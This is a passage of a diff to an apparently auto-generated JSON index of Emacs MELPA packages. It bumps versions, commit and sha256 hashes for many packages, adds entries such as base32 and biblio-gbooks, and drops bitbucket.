"1gasg7dqz7vg544bnfnfzdfq50xq7jqwcigkmg2a6n8cm9wrjlh0" + "commit": "0907961986a582ded514d54a8bfdf691f7bfaf86", + "sha256": "0klzdgicxfsfwg66a5lnlsfv4mpli6fikplk3qldpwz21652xsz9" } }, { @@ -1947,33 +1947,33 @@ "repo": "minad/affe", "unstable": { "version": [ - 20230411, - 441 + 20240102, + 331 ], "deps": [ "consult" ], - "commit": "ae3169ac4bbd64520d165b4ce4806b7a34b972dc", - "sha256": "12h3ydjg294iqb255za703inix182qbjhf8vrky02fpry66ba000" + "commit": "1fd5732afa5d68b120fd2e949702b1abde0466d7", + "sha256": "16xi584ls9ll7x3y63hwqp2gv3j0b4dgy40xsnjkmzifp5xl0npr" }, "stable": { "version": [ 0, - 7 + 8 ], "deps": [ "consult" ], - "commit": "9e1524c1ad71c0f57b5a33ae0874dce70994b282", - "sha256": "0qhvgb394ycm12h480f59a19d5l41b8md8npnbw3i6lybirnq7vr" + "commit": "caec8551df2ce09868af5147ef33c065f81ff4b5", + "sha256": "0pzx0az6nk1ws5kgnaxkmm270lyw6m10986gigp45fxic35fn8lz" } }, { "ename": "afternoon-theme", - "commit": "583256b7fa48501c8bfad305d76d2e16b6441539", - "sha256": "13xgdw8px58sxpl7nyhkcdxwqdpp13i8wghvlb3l4471plw3vqgj", + "commit": "a5676fa2b3228cb56e38449c4573afdc37f3994b", + "sha256": "0lb7qia4fqdz9jbklx4jiy4820dmblmbg7qpnww0pkqrc0nychh3", "fetcher": "github", - "repo": "osener/emacs-afternoon-theme", + "repo": "ozanmakes/emacs-afternoon-theme", "unstable": { "version": [ 20140104, @@ -2353,11 +2353,11 @@ "repo": "wlemuel/alarm-clock", "unstable": { "version": [ - 20230711, - 2139 + 20240114, + 344 ], - "commit": "93affc8a66e0b62e55635ac4a7373a1b6659825e", - "sha256": "00xl3ny0dn7mw21shsx83fhmr667zrxvnhp3w0rg22vdj39lq5wp" + "commit": "f924d0e75eb7ce29055bdc1a1e644bb1dcabda09", + "sha256": "1bw9n7gc44aamy0vfivracpncalxrcxl3whgcsmq0iajbnpx0j12" }, "stable": { "version": [ @@ -2609,11 +2609,11 @@ "repo": "domtronn/all-the-icons.el", "unstable": { "version": [ - 20230909, - 2053 + 20240108, + 559 ], - "commit": "be9d5dcda9c892e8ca1535e288620eec075eb0be", - "sha256": "0chj0lmbmi3sig30mif99zmvwpfwwsxlchp8kznwax4wc3rks7di" + "commit": "ee414384938ccf2ce93c77d717b85dc5538a257d", + "sha256": "18gk71fsh99m6hafc85nwg7rx416d5pnnjyk506i15nnwywsbbqd" }, "stable": { "version": [ @@ -2633,14 +2633,14 @@ "repo": "iyefrat/all-the-icons-completion", "unstable": { "version": [ - 20230617, - 1206 + 20240128, + 2048 ], "deps": [ "all-the-icons" ], - "commit": "8eb3e410d63f5d0657b41829e7898793e81f31c0", - "sha256": "1iyn7dyxil07gsa19hngpbapzmbhcwrplvf2cg1gkywafcdhjw6w" + "commit": "4c8bcad8033f5d0868ce82ea3807c6cd46c4a198", + "sha256": "1xvfk7j19mllk5jasfsvz9ra5ibiqicwc1cqqqng1imdbhq78x66" }, "stable": { "version": [ @@ -2662,14 +2662,14 @@ "repo": "wyuenho/all-the-icons-dired", "unstable": { "version": [ - 20231007, - 2324 + 20231207, + 1324 ], "deps": [ "all-the-icons" ], - "commit": "b3dd838e93325145bb55cec69d8b0a2b6f1bc348", - "sha256": "1igikh0nlzxh4lkcgmi9smvw2lqad2zxmbss6hd69m01h7mqg6k7" + "commit": "e157f0668f22ed586aebe0a2c0186ab07702986c", + "sha256": "11wkrfn4hcyparfimm6l1daysp1gnb0dj41f7j980axbpa3nzg6v" }, "stable": { "version": [ @@ -2862,11 +2862,11 @@ "repo": "jcs-elpa/alt-codes", "unstable": { "version": [ - 20220704, - 644 + 20240101, + 927 ], - "commit": "36dbcbeb69525cd21caeb4c267421b69fa2fffcb", - "sha256": "0428mg8wyz33p3c0jh9cvi11w44r0f5pqlj01r21pc1lcw85v5dz" + "commit": "47072beb416aa9d7d702230b1aff87436c81bd22", + "sha256": "1w8df7f0k6flmhk632qg7w0cxj5jn5kshmh66nw8z1sv31fd57pj" }, "stable": { "version": [ @@ -3016,11 +3016,11 @@ "repo": "franburstall/amsreftex", "unstable": { "version": [ - 20220115, - 1838 + 20220822, + 1749 ], - "commit": "facf47b82572e3f62bd8d9b8d4f4d5258f6c8a38", - "sha256": "17g68m2vdvyqvf7rfyhpymafbpd91pc5m4vf5b7369qllngh6g8c" + "commit": "8932c4a48f9d430ccc9ae2259551649d1443035d", + "sha256": "0q2snxd5lnksawxqxjqhp4zhpxnih2x3rs450z73srmz1aj9h1yh" } }, { @@ -3060,8 +3060,8 @@ "repo": "pythonic-emacs/anaconda-mode", "unstable": { "version": [ - 20230821, - 2131 + 20231123, + 1806 ], "deps": [ "dash", @@ -3069,14 +3069,14 @@ "pythonic", "s" ], - "commit": "9dbd65b034cef519c01f63703399ae59651f85ca", - "sha256": "14h0437i46hacnqi82rvc8bq3lgchhznq9ab5l49mmizq5fv25wq" + "commit": "92a6295622df7fae563d6b599e2dc8640e940ddf", + "sha256": "0x5srah4w3vrn5wqzfy02dfxmxyi0hfvlk7nq3h2dshz6q6x7b9z" }, "stable": { "version": [ 0, 1, - 15 + 16 ], "deps": [ "dash", @@ -3084,8 +3084,8 @@ "pythonic", "s" ], - "commit": "cbea0fb3182321d34ff93981c5a59f8dd72d82a5", - "sha256": "0ajmqa60avwmlx9c63rirfb5mjqhbcxf2x15mnxr6a1rlzcylxg6" + "commit": "92a6295622df7fae563d6b599e2dc8640e940ddf", + "sha256": "0x5srah4w3vrn5wqzfy02dfxmxyi0hfvlk7nq3h2dshz6q6x7b9z" } }, { @@ -3122,11 +3122,11 @@ "repo": "rolandwalker/anaphora", "unstable": { "version": [ - 20180618, - 2200 + 20240120, + 1744 ], - "commit": "3b2da3f759b244975852e79721c4a2dbad3905cf", - "sha256": "11fgiy029sqz7nvdm7dcal95lacryz9zql0x5h05z48nrrcl4bib" + "commit": "a755afa7db7f3fa515f8dd2c0518113be0b027f6", + "sha256": "1mmil5ckb623wxxmvw1cfi1fycxiz7aalfjm768h7wc73xfa7ks4" }, "stable": { "version": [ @@ -3448,10 +3448,11 @@ "version": [ 2, 6, - 4 + 4, + 1 ], - "commit": "f42acb696e43d382639f04f869e9a99ab36a91c6", - "sha256": "0n4avd58j45rdcmnwgrmz5s0ril0z4n2z711mwwbahl50f7359ky" + "commit": "4293e0a94d15acac915ab9088b2ec028f78d14a9", + "sha256": "00yfwwqv4dyka5yg4m9w5dfd9ajn5z51lg7dakj6d03lay76dhh7" } }, { @@ -3716,11 +3717,11 @@ "repo": "emacsorphanage/anzu", "unstable": { "version": [ - 20211002, - 2255 + 20240202, + 447 ], - "commit": "14e4483a5e708097870b22ac56ea693ec1d893bf", - "sha256": "0hs4j68vdzzfm22xqar5qp96l6fr6n9ym00kpvdgy7gjq37swcms" + "commit": "26fb50b429ee968eb944b0615dd0aed1dd66172c", + "sha256": "0jwi5lc7gai3cbyfidi1pq9w4vmbph9ynm643nsy7if4qx3l9byp" }, "stable": { "version": [ @@ -3817,19 +3818,19 @@ "repo": "radian-software/apheleia", "unstable": { "version": [ - 20231112, - 32 + 20240112, + 1923 ], - "commit": "ddea9bea708ce029cea6126b5be8e9f8979c58b3", - "sha256": "05lg9qych2x31cw8clfngrhzqgs858kcawnk07pyp45563pm0zjl" + "commit": "96a9805ecb75aac2adde7568d26b3e3b3ffc19af", + "sha256": "1dc9lx9h9rhqldgcm7xq9i10z1vhsikmi9dhn48g6432mrma81gl" }, "stable": { "version": [ - 3, - 2 + 4, + 0 ], - "commit": "ffa8d5865118bb33299a429e9c25577a79410542", - "sha256": "0rcga3nq1ly5xg61zv3jxgqi0krxk86c24wcrij4vzidhn0s9ncn" + "commit": "731edd2954ae213548ec4459c7db6d5db9e251b8", + "sha256": "0afv75w028v59qf777nrf57xj9yaz3jj2bixfmkgiqrn1wii9pm6" } }, { @@ -3892,11 +3893,11 @@ "repo": "alexmurray/apparmor-mode", "unstable": { "version": [ - 20230912, - 248 + 20240119, + 542 ], - "commit": "3cdf282889aed371a708afeb275cf522a41541eb", - "sha256": "0lbpqyj9i5ghz83ari74pgs1nbsww8nrh7f7w79g0drpqj1cyx4s" + "commit": "a40fb1b0857ef39bb82aacc6ce507d74a08590a6", + "sha256": "0s2hyw1xkbbmpfb7g8dq9ws3l0hrd60iahscgd6mswy39xbi7fw4" } }, { @@ -4259,26 +4260,26 @@ "repo": "fizban007/arxiv-mode", "unstable": { "version": [ - 20230121, - 842 + 20240111, + 2203 ], "deps": [ "hydra" ], - "commit": "06000ceb5a12b0f95bc7e89de03685f7ada4e8c3", - "sha256": "0dwgcwm0k4pbzbi2ab9607yxn41riqjpixy8fm2yalqh9l0sbasv" + "commit": "f629ec64f8bbac0cadb472c6741f8f33d49e9160", + "sha256": "0dbsi5343zw7dn6qq8226iamb12nma8k9lqbvd9qlhq8k62pswas" }, "stable": { "version": [ 0, - 3, - 1 + 4, + 0 ], "deps": [ "hydra" ], - "commit": "f550583d2da8bd9600bd26bb4028fe22a9744da2", - "sha256": "1hrrpll7yhqdf4jin28dnbv2a1yccn0f1a4hmay7f8yxmp42r1ln" + "commit": "f629ec64f8bbac0cadb472c6741f8f33d49e9160", + "sha256": "0dbsi5343zw7dn6qq8226iamb12nma8k9lqbvd9qlhq8k62pswas" } }, { @@ -4289,11 +4290,11 @@ "repo": "lassik/emacs-ascii-table", "unstable": { "version": [ - 20221230, - 1244 + 20231215, + 1527 ], - "commit": "c71f54b85edc6bd42abdc79dd82248958c8a24f9", - "sha256": "1hifgyadzsp4xl0w5fpsfshnf5605i475nbgaf43f3j0mx5q1lgx" + "commit": "dc3c91feff6282303b66816bdcee9e031558ff77", + "sha256": "1bigikx3q3vgj8y8bqp19yxdmgwkn0rmccyx88sjl0azsg4il5zk" } }, { @@ -4334,14 +4335,14 @@ "repo": "zkry/asm-blox", "unstable": { "version": [ - 20221220, - 1716 + 20240106, + 1930 ], "deps": [ "yaml" ], - "commit": "5517efb1e186139197a2d348b7339a72dd379af8", - "sha256": "0f4nymkxk2x3jvkxfbgp5v8ap38j9sz1g6vnw6lrpvbgrdzazx6g" + "commit": "6731d8e4f78d0b43ec9b90d8184c1d86d725ac7c", + "sha256": "1mfyipirzdx06jwb8a2xwdq0vf10cvqcspf2fxda24l8ih09lfc4" }, "stable": { "version": [ @@ -4382,14 +4383,14 @@ "repo": "phillord/assess", "unstable": { "version": [ - 20220719, - 1904 + 20231120, + 1701 ], "deps": [ "m-buffer" ], - "commit": "44083d94feb45d3636f7ee6c55e0ef6bbb32b938", - "sha256": "1mgx6sism6l1mwmz81fq6wcxkxlbyn4k6p8nl0v8xc1zsh2mn8m0" + "commit": "2399936d5b75094ed0e131b3f9d48041005383e2", + "sha256": "1a1c6f4d8mbygrl20kxlvrjcgvvbzv4zr7hhqkzywvnazf2kvj16" }, "stable": { "version": [ @@ -4468,20 +4469,20 @@ "repo": "jwiegley/emacs-async", "unstable": { "version": [ - 20231105, - 1713 + 20240108, + 1526 ], - "commit": "3bade0e92e1ee8e716c5db14bc8315b17299f138", - "sha256": "13b88shazsi7crn8cpb3f0k4vzai45srymwriq14axmq48i8z33m" + "commit": "d040f72cb0be5265d50ac541ddb09ebbc68b7908", + "sha256": "10lvsnvvs56l8n5f40hmqk7nwpf7d39az82mf2q7phpph7icgry2" }, "stable": { "version": [ 1, 9, - 7 + 8 ], - "commit": "53addd02fbad33765f508f8e6254ebd44e1f81e5", - "sha256": "18pysi1pf6hbv6w0nq50j5xclvgd006iqqijh44wck9hxhdwyfr1" + "commit": "00e07e060218fbd1e16faaf10116c03b12e62580", + "sha256": "191bjmwg5bgih1322n4q4i2jxx7aa3cb9lx0ymkwc3r2bdhkn0lp" } }, { @@ -4576,26 +4577,19 @@ "repo": "meedstrom/asyncloop", "unstable": { "version": [ - 20231115, - 2156 - ], - "deps": [ - "named-timer" + 20240203, + 1944 ], - "commit": "e988dac99390b2cfb889c8610c7f8f1f15708ecc", - "sha256": "0zlaypbr9v02ivvcjqizg52wvapzhgbc0kb1amx270pwzfzhp3zq" + "commit": "8bf885b7e540f231fbc45ab15228f9b30aafc245", + "sha256": "0yx0z85lml7hh11xx267nqr5iaiybwcbildl0adz38y753di3ym9" }, "stable": { "version": [ 0, - 4, 5 ], - "deps": [ - "named-timer" - ], - "commit": "e988dac99390b2cfb889c8610c7f8f1f15708ecc", - "sha256": "0zlaypbr9v02ivvcjqizg52wvapzhgbc0kb1amx270pwzfzhp3zq" + "commit": "e7d484f8036bea31d4824efc0ac64f01990e6dca", + "sha256": "1kpsqkbq0f8pgvn9iiaffz99vx3lwg8j6vbnlqmby8g51i5i5ka3" } }, { @@ -4638,11 +4632,11 @@ "repo": "jcs-elpa/atl-long-lines", "unstable": { "version": [ - 20220704, - 644 + 20240101, + 929 ], - "commit": "4b4abd242e9a8203dc70130b4ca65f809bd41ab7", - "sha256": "055rsg4p0hdl02i82qzxx90apzgbw42bsv75y8brn5g638bmcp8i" + "commit": "82cdd4edefba2d5b1d491bf3fcc487385819d713", + "sha256": "0qk0p4ns89xzgd1fmp09qij7m6d458skja0c9g2xpr683qynwqhs" }, "stable": { "version": [ @@ -4662,11 +4656,11 @@ "repo": "jcs-elpa/atl-markup", "unstable": { "version": [ - 20220704, - 644 + 20240101, + 933 ], - "commit": "8604cd6b0a2473595988d47f41623d2cd06d0a7b", - "sha256": "09lyx4vxm7lyqrfclcb9qhlf5x8v1vy3ar4syrmpps5572gxqa6l" + "commit": "b616343ffe17060d521b214b8e90f5da1e880934", + "sha256": "08vvihah0c0fqa2iw5zjdcliqjzrhrgb24vqxhxkyslakjp7cl7y" }, "stable": { "version": [ @@ -4998,15 +4992,15 @@ "repo": "emacs-grammarly/auth-source-keytar", "unstable": { "version": [ - 20221231, - 1654 + 20240101, + 846 ], "deps": [ "keytar", "s" ], - "commit": "8fcd935ee131174a1ed7f132614257411ed441bc", - "sha256": "1xlg9zm59dymnwqqs4rcn5xiwvvz8345gcnbr7c2x3zxc75vkn1x" + "commit": "6c3389a30a0d998857ff6861b4c05bce5a07be82", + "sha256": "0jj8fiqdh5cp2dsvirwq9ll50dmz8hx4m288n7rqmfhgv6hj0wnb" }, "stable": { "version": [ @@ -5111,11 +5105,11 @@ "repo": "emacscollective/auto-compile", "unstable": { "version": [ - 20230901, - 1232 + 20240101, + 2210 ], - "commit": "945f4ebf40e409688d58f003542b275eab6f83c5", - "sha256": "0fldbkilsv0wmqzc1wk6xzyh3m9gd2vmql5arbd5a9l475xl0ayw" + "commit": "c4a267daf97dfc42472ea7e99fae3d7dbb6ac812", + "sha256": "0hvhvx48vhdpkzlj79l02ingshha4h1dkfxx5a2sl9gndybyfgxq" }, "stable": { "version": [ @@ -5135,15 +5129,15 @@ "repo": "auto-complete/auto-complete", "unstable": { "version": [ - 20230927, - 1851 + 20240101, + 831 ], "deps": [ "cl-lib", "popup" ], - "commit": "56c178b07185e37c699fd27393c447bca88076a7", - "sha256": "0h0fqr3bi0v3wrd8wzhvi4rkdz44v2k976q0353l3x8yk34mcc2l" + "commit": "2afcea4bb7ba4e9573a7ad888dc6ab7bca5f7b03", + "sha256": "1i4nh340xx5waspgp5k5rcmjfcm55n2fjj6i6bxfidz7yj9sxmda" }, "stable": { "version": [ @@ -5426,11 +5420,11 @@ "repo": "LionyxML/auto-dark-emacs", "unstable": { "version": [ - 20231014, - 453 + 20240130, + 1811 ], - "commit": "65cc6337de9030ea7cae4661389019b9443543a2", - "sha256": "0rvl40xqlf1b2n5nfhzbd0b0r0gp41m5w98sx0wvhp68brxpvx0g" + "commit": "66cc927632815e95e9ffb33d76d02e3ded681892", + "sha256": "1frdh0kmkcjqrx9j3s8pz8dfmb9ka10vvbvny5p977av7f82zf1b" } }, { @@ -5479,14 +5473,14 @@ "repo": "elp-revive/auto-highlight-symbol", "unstable": { "version": [ - 20231027, - 715 + 20240101, + 905 ], "deps": [ "ht" ], - "commit": "1c79083b9b6af70b0eba3d4c00cafafeb6154845", - "sha256": "1szb4namrl0415adji9042cxbh28kw8kxk756b3z45y18bscns14" + "commit": "6194af718b758e10a0401104760b9d9cf96735db", + "sha256": "17rnhmnwmb5lrm8z8gps8sh8ni3c94ixwks09pfqvsj0mlvgiswc" }, "stable": { "version": [ @@ -5626,17 +5620,17 @@ }, { "ename": "auto-rename-tag", - "commit": "cdd1f8002636bf02c7a3d3d0a075758972eaf228", - "sha256": "05ln7dj57f3rjhmvbwy6fpn71ln4fw94qiw120qby199da1an28f", + "commit": "597ed5b551563774ea8850809fc4cc0bea88af40", + "sha256": "0gzdml0mcnyvb16a092h9m1gm7d08kkjdh01cls2y0ld0vv1cn03", "fetcher": "github", - "repo": "jcs-elpa/auto-rename-tag", + "repo": "emacs-vs/auto-rename-tag", "unstable": { "version": [ - 20220704, - 639 + 20240120, + 1011 ], - "commit": "58ef595757350f4d8c1cea30d6902b26afaf8743", - "sha256": "0ks9nq6jhnrwywin90cr30pv2kjggx9h2vj59na0yj96km6jkmai" + "commit": "288c708e5c88113a5c8c5c44361f1d3c3e334a2e", + "sha256": "0ncq3m2za8i31kfvsjhaijbk0fp1ql2kzgdsg8mzlkihgcwx1cvy" }, "stable": { "version": [ @@ -5757,16 +5751,16 @@ "repo": "marcwebbie/auto-virtualenv", "unstable": { "version": [ - 20220712, - 1612 + 20240115, + 1548 ], "deps": [ "cl-lib", "pyvenv", "s" ], - "commit": "1e58a878984dbd2c91b4f128ded03fd954336907", - "sha256": "0jabvb248kximx25md2an0524zdq0r1kgyy36zdwmhln2npk1ycn" + "commit": "5771eb59fc2f589aa3066297ff3bbeeae474d846", + "sha256": "0vnl8k5dm9jjm5sr5gdp1405l20g2gx72nz26ha0g9r9qc6k4j8k" } }, { @@ -6059,27 +6053,27 @@ "repo": "oantolin/embark", "unstable": { "version": [ - 20230919, - 1907 + 20231208, + 459 ], "deps": [ "avy", "embark" ], - "commit": "07af44c7de72efde79ac563cbecdfff0b48d8411", - "sha256": "1dmsaw1m819kzmai45c4cqh5lyyha451f7dxzwwfz9crmzg2w5sf" + "commit": "47b0c75d4bf4f72a7af839667c877c80bd493cdb", + "sha256": "14alpanynww6z7yxxyiiy24c0p4pq1argsb0pmqavq25mdxgn4v2" }, "stable": { "version": [ - 0, - 23 + 1, + 0 ], "deps": [ "avy", "embark" ], - "commit": "07af44c7de72efde79ac563cbecdfff0b48d8411", - "sha256": "1dmsaw1m819kzmai45c4cqh5lyyha451f7dxzwwfz9crmzg2w5sf" + "commit": "47b0c75d4bf4f72a7af839667c877c80bd493cdb", + "sha256": "14alpanynww6z7yxxyiiy24c0p4pq1argsb0pmqavq25mdxgn4v2" } }, { @@ -6202,11 +6196,11 @@ "repo": "nverno/awk-ts-mode", "unstable": { "version": [ - 20231115, - 1037 + 20231130, + 12 ], - "commit": "7b3f26d24be4732e001ae3a0e0db35111e68c38f", - "sha256": "00zgkg3biy3lkaj9jsmn7b4nmnlyj0bqsjfc4qabm2mk0yar0is6" + "commit": "9cd2b2ad05d85e05be9da7275077697223d79878", + "sha256": "0skx2sc575g4w2g4xy340j0i7a6rhxl18xxrg1i42mdiy1k5h3bc" } }, { @@ -6461,15 +6455,15 @@ "repo": "tarsius/backline", "unstable": { "version": [ - 20230514, - 1800 + 20240101, + 2210 ], "deps": [ "compat", "outline-minor-faces" ], - "commit": "f1d9e1cd5cba6362b152b5f4227d1714918fba59", - "sha256": "0f7rcbmaggj644z3j1pq2sjg4c12g9s2k4c5x3yrirjgazxfpr8x" + "commit": "f9e55c75bee689722d63875610511e8b39151fb1", + "sha256": "1mw2mfr95aaz1mnq1zym9mr9n96350l4kpywg1yv2m0rvkblqqkf" }, "stable": { "version": [ @@ -6695,11 +6689,11 @@ "repo": "tinted-theming/base16-emacs", "unstable": { "version": [ - 20231008, - 59 + 20240121, + 104 ], - "commit": "5993a1ab3cd1f22673f84dd35a2fae5493bed69e", - "sha256": "0f2kj9q4wjhka5nsbn0kjqxdsnlmk45krylk2mmr9siprk15yfh9" + "commit": "f9e1699ea493bf183ed08292ac0cf053fc2603d8", + "sha256": "1g25yh6d6rcmdiflq25dvn05ygxaq24kffjai55rl37znxjkrzrm" }, "stable": { "version": [ @@ -6711,6 +6705,29 @@ } }, { + "ename": "base32", + "commit": "716b2327c4940c05cc4fbcb3dcbca4d22b7455cc", + "sha256": "030f5zwq4n97r1g3x66cw380aw6iawiq5lhfsmylyy4pcnd1iywh", + "fetcher": "gitlab", + "repo": "fledermaus/totp.el", + "unstable": { + "version": [ + 20240203, + 1945 + ], + "commit": "da1498e54df8802efe2174c0e988c23fea49fc79", + "sha256": "05z6w1s4mxv8knnknq5lj6frp7j4wy6zrafg1hq1kv7q28nqv4qr" + }, + "stable": { + "version": [ + 1, + 0 + ], + "commit": "da1498e54df8802efe2174c0e988c23fea49fc79", + "sha256": "05z6w1s4mxv8knnknq5lj6frp7j4wy6zrafg1hq1kv7q28nqv4qr" + } + }, + { "ename": "bash-completion", "commit": "8b528544841995045fb1f8344aaaa38946bb3915", "sha256": "0l41yj0sb87i27hw6dh35l32hg4qkka6r3bpkckjnfm0xifrd9hj", @@ -6799,26 +6816,26 @@ "repo": "dykstrom/basic-mode", "unstable": { "version": [ - 20230909, - 843 + 20231125, + 1617 ], "deps": [ "seq" ], - "commit": "5bcefd47c2b97b0482cb02d3d9012f334a1535b1", - "sha256": "0s9grdh7m6v53mkn330azhff5rbci73b614ggap7dk54jldl8cy3" + "commit": "1dc1a635d6d80668c8a583b974205e49ff0fc3ce", + "sha256": "1z3d30vsn4hqrm56asqzal2d0wij6mrma110zx64jpmys8chlwfs" }, "stable": { "version": [ 1, 2, - 0 + 1 ], "deps": [ "seq" ], - "commit": "5bcefd47c2b97b0482cb02d3d9012f334a1535b1", - "sha256": "0s9grdh7m6v53mkn330azhff5rbci73b614ggap7dk54jldl8cy3" + "commit": "1dc1a635d6d80668c8a583b974205e49ff0fc3ce", + "sha256": "1z3d30vsn4hqrm56asqzal2d0wij6mrma110zx64jpmys8chlwfs" } }, { @@ -6928,14 +6945,14 @@ "repo": "lassik/emacs-bbcode-mode", "unstable": { "version": [ - 20190304, - 2122 + 20231215, + 1539 ], "deps": [ "cl-lib" ], - "commit": "e16619c80ea21154b4a4ccc2e13d0077e97c9caf", - "sha256": "0l7jygskxmbckf3xhbjzgwzkrj2m6z1n3i2l7qc9ii4i3mhpx0ai" + "commit": "109962f1070a5e6943c2e32c1eb84ce4debfb8f8", + "sha256": "045l73g04kzhjipnrlwq9c70hfv17m285581gi1rh3c4aar3bwqw" }, "stable": { "version": [ @@ -6958,14 +6975,14 @@ "url": "https://git.savannah.nongnu.org/git/bbdb.git", "unstable": { "version": [ - 20231023, - 544 + 20231122, + 1326 ], "deps": [ "cl-lib" ], - "commit": "14ed4d1048c41c813f601bbf0f4c8d0d5b9489d8", - "sha256": "00qjrzfn0lmj5dr54s6sm10kfjqs815ak2hhgi875rhv5p30smh7" + "commit": "53e8ba04c47b3542db75b68f9663941daf2e6ca4", + "sha256": "1njwsnyfl0b5pzra4l1s9qv5zmsq58c0hxic0w1jk6xillazd6f4" }, "stable": { "version": [ @@ -7215,7 +7232,7 @@ }, { "ename": "beeminder", - "commit": "b46e83f2ea2c4df1ef343c79c7e249605c9639b3", + "commit": "c1f6256e8ef106684b1b546003ec8b591fdea560", "sha256": "19r1sbdb6c6ibpinzsyi7583gfm4g1q9bmdbbcy0cgrs350nh8h1", "fetcher": "github", "repo": "Sodaware/beeminder.el", @@ -7292,11 +7309,11 @@ "repo": "dholm/benchmark-init-el", "unstable": { "version": [ - 20220414, - 1612 + 20240202, + 748 ], - "commit": "02435560415bbadbcf5051fb7042880549170e7e", - "sha256": "19375vamhld4xm2qrdmhlp2nczfvalmz9x6ahl23zwkilr8n1nbw" + "commit": "7764f93bf549703ba4779f43ff7a3d028fa133b3", + "sha256": "0s1hsgqhknq0am04nc7kpamfzbl5an5w3b0r38a2iibjkirgr477" }, "stable": { "version": [ @@ -7429,11 +7446,11 @@ "repo": "jcs-elpa/better-scroll", "unstable": { "version": [ - 20221020, - 430 + 20240101, + 927 ], - "commit": "e7b3196f437f690028aeea414aaf71ca3779c175", - "sha256": "00l2r24v99bx7ikh02bcxl3297xb9nmbvx0g2svcc08jijp47fq8" + "commit": "faded1bd681f3c48337e7165adcabde194c73b2b", + "sha256": "0074ffh07ywk6c50kj5w82cply3iclpqihs5fb0xnxavxxh79mhg" }, "stable": { "version": [ @@ -7613,6 +7630,27 @@ } }, { + "ename": "biblio-gbooks", + "commit": "1da7f56e080d81d965b98ee59ca14512442302da", + "sha256": "0g4nfz9b60m0hsff4rc92q7jinv5n4bndk6cgz5ra6ziaag9cmci", + "fetcher": "github", + "repo": "jrasband/biblio-gbooks", + "unstable": { + "version": [ + 20240102, + 2034 + ], + "deps": [ + "biblio-core", + "compat", + "let-alist", + "seq" + ], + "commit": "991f214b8af23f168462a0006cf4d6216fbd7371", + "sha256": "0bsm51pz69q938wfbr9kc84mizwjbnclvs17ski1s30s6xkinfra" + } + }, + { "ename": "bibliothek", "commit": "8b8308e72c4437237fded29db1f60b3eba0edd26", "sha256": "011wnya65vfnn17fn1vhq0sk8c1mli81x0nb44yi6zl1hwxivb55", @@ -7676,15 +7714,15 @@ "repo": "mclear-tools/bibtex-capf", "unstable": { "version": [ - 20230226, - 2331 + 20240122, + 1558 ], "deps": [ "org", "parsebib" ], - "commit": "7635fec3bc565acafbb6e1bff1cc711844f869ce", - "sha256": "0g5wnl3qch2nc3i4yv915zmxfjgcdrr5z6izxnv60g05ma19i66p" + "commit": "31826efefcbbdebdb700a06b5070df0f06ce2291", + "sha256": "1l0qww9ipvfv7x90hq9dzibargz104gqvvwaz9k3a1mx36v5d36m" } }, { @@ -7695,8 +7733,8 @@ "repo": "tmalsburg/helm-bibtex", "unstable": { "version": [ - 20230918, - 953 + 20240109, + 1225 ], "deps": [ "biblio", @@ -7706,8 +7744,8 @@ "parsebib", "s" ], - "commit": "95551744de8210867e9d34feaf47ae639ea04114", - "sha256": "0qgkws2dm55bvgrz2d4zamrdacm326141123q8bb45d1fjgwy0bc" + "commit": "bf184cc311c9e1724f8b2eaf75b9e202c3aedd16", + "sha256": "0agizbcs7rvgzrm3464z2kdkbrvndk08biksk8pr0icwxx9bjddm" }, "stable": { "version": [ @@ -7749,14 +7787,14 @@ "repo": "tarsius/bicycle", "unstable": { "version": [ - 20230901, - 1232 + 20240101, + 2211 ], "deps": [ "compat" ], - "commit": "fed6a6320f41b62b79892e95cee76d00a2bbd620", - "sha256": "12nkybijaqc22i22kn75pjjjxq8njyyr8dq6g2l3jz030qrv5359" + "commit": "998e39095481ced3844efaa8f8f0c5343641df9e", + "sha256": "0rh8rhmhc373h1zggs9xlfa4yidqq8b3ms45xfi4zax0dk38003j" }, "stable": { "version": [ @@ -7990,20 +8028,20 @@ "repo": "liuyinz/binky.el", "unstable": { "version": [ - 20231023, - 2145 + 20240107, + 2156 ], - "commit": "bf9bd87c44cd5ca5ede0f080fa510240d948a644", - "sha256": "0m0xzcrb0yiddbr2vvnnv0vz4wb6smb3lmk4hij2hdhawf22vm1h" + "commit": "9c0d99b345dc310a31a187c52d092965a26de70a", + "sha256": "0dagrwmh364yaxbm4sxhscych77j8dksqw5034d27vc0q23nwh5w" }, "stable": { "version": [ 1, 4, - 1 + 2 ], - "commit": "38e26cb3408a38d749645ee3f2ea9fc1a3cf2a3e", - "sha256": "0d6wyvmbqvzsasldzfv9fwb7iwxdh214xjzq7jqy5xc5k25p0x60" + "commit": "d692f3a3551ae412b0b3fc71d14b7d3991255084", + "sha256": "0a5jjzbywgq6yh0489690mv6x5h6dsfc1dv7dqaq92h7mi8w1d3c" } }, { @@ -8014,8 +8052,8 @@ "repo": "SqrtMinusOne/biome", "unstable": { "version": [ - 20231015, - 1930 + 20240128, + 1235 ], "deps": [ "compat", @@ -8023,8 +8061,8 @@ "request", "transient" ], - "commit": "f931520566a31ebcc3392bb902f1c36e377bb2a2", - "sha256": "162mnjq0pxxakcrrhr0bcm2rnvx1di0hg6xmrbljkcgjs20yzsfm" + "commit": "bc4f229c74c725a4981b4a5eab21674ac5097116", + "sha256": "0gd6wm97qhlrm8xxa1phc4484j7lwk1biry2h7hnkn4i0yyb04mz" } }, { @@ -8095,25 +8133,6 @@ } }, { - "ename": "bitbucket", - "commit": "9cf87389e6a5d868850d27e077202e1e52eaf4aa", - "sha256": "1d0v6hvmxky3k2m89b7xm1igx9fmzvhdpn1bi8zln61m4zgr3yz0", - "fetcher": "github", - "repo": "tjaartvdwalt/bitbucket.el", - "unstable": { - "version": [ - 20170405, - 446 - ], - "deps": [ - "request", - "s" - ], - "commit": "db001a9d936e6b5c3cc5d5ec22794e234e0d162d", - "sha256": "0iwmhnnscj3axxzgcb9ma7n5wn3zpjiwkh1dxrlk2kcclbzlbjha" - } - }, - { "ename": "bitlbee", "commit": "7fabdb05de9b8ec18a3a566f99688b50443b6b44", "sha256": "1lmbmlshr8b645qsb88rswmbbcbbawzl04xdjlygq4dnpkxc8w0f", @@ -8201,11 +8220,11 @@ "repo": "pythonic-emacs/blacken", "unstable": { "version": [ - 20230821, - 1738 + 20231129, + 654 ], - "commit": "15084b386561cd3672e9fc8cdce4647b60693111", - "sha256": "1a6is65q13jvzzlnvb8rmkss9akvrr8z8aa9sjixpqisia70xlz8" + "commit": "a43695f9cb412df93ac8d38b55ab1515e86e217e", + "sha256": "0kpjavnbmhq8adn65570646xy75czl462xd76xjh957rj2a6wpgl" }, "stable": { "version": [ @@ -8272,26 +8291,28 @@ 